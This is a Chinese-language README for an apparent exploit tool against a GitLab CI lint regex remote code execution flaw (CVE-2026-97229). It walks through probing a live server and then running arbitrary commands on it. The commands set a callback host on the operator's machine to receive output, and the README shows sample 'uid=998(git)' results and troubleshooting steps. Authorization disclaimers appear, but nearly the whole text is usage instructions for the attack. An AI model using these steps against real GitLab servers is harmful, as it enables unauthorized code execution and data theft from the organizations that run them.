CVE-2026-97229 是针对 GitLab CI lint 正则 RCE 的外部漏洞利用工具。它仅用于在获得授权的情况下针对运行中的 GitLab 目标使用。它会创建一个项目、推送恶意的 CI 配置、触发 CI lint 端点,并通过 HTTP 回调接收命令输出。本工具仅用于经授权的安全研究。
CVE-2026-97229 External - 使用风险自负,且仅限合法测试
##仅供研究使用。 仅可在您自己的系统或您已获得书面许可的系统上使用。
本工具仅适用于运行中的 GitLab 目标。 它无法在已失效的目标、备份或无法访问的主机上运行。
要求
保存文件
将漏洞利用代码保存为:
cve97229_ext.py
创建范围文件
如果您的目标是:
https://gitlab.example.local
创建 scope.txt:
echo "gitlab.example.local" > scope.txt
步骤 1 - 检查目标
运行:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
示例:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
正常结果:
"gitlab_signal": true
如果版本可见,您可能会看到:
"version": "19.4.0"
步骤 2 - 针对运行中的目标运行
运行:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
示例:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
替换:
GITLAB_TOKEN = 您的 GitLab 令牌
YOUR_IP = 目标可访问的您机器的 IP
结果
如果成功,您将看到:
"status": "RCE"
以及类似以下的输出:
"output": "uid=998(git) gid=998(git) groups=998(git)"
常见问题
out-of-scope:
修正 scope.txt。
no-write-path:
令牌缺失或无效。
known-patched:
目标版本已修复。
no-callback:
目标无法回连到您。
请检查 YOUR_IP、防火墙和网络访问。
重要
目标必须处于运行状态且可访问。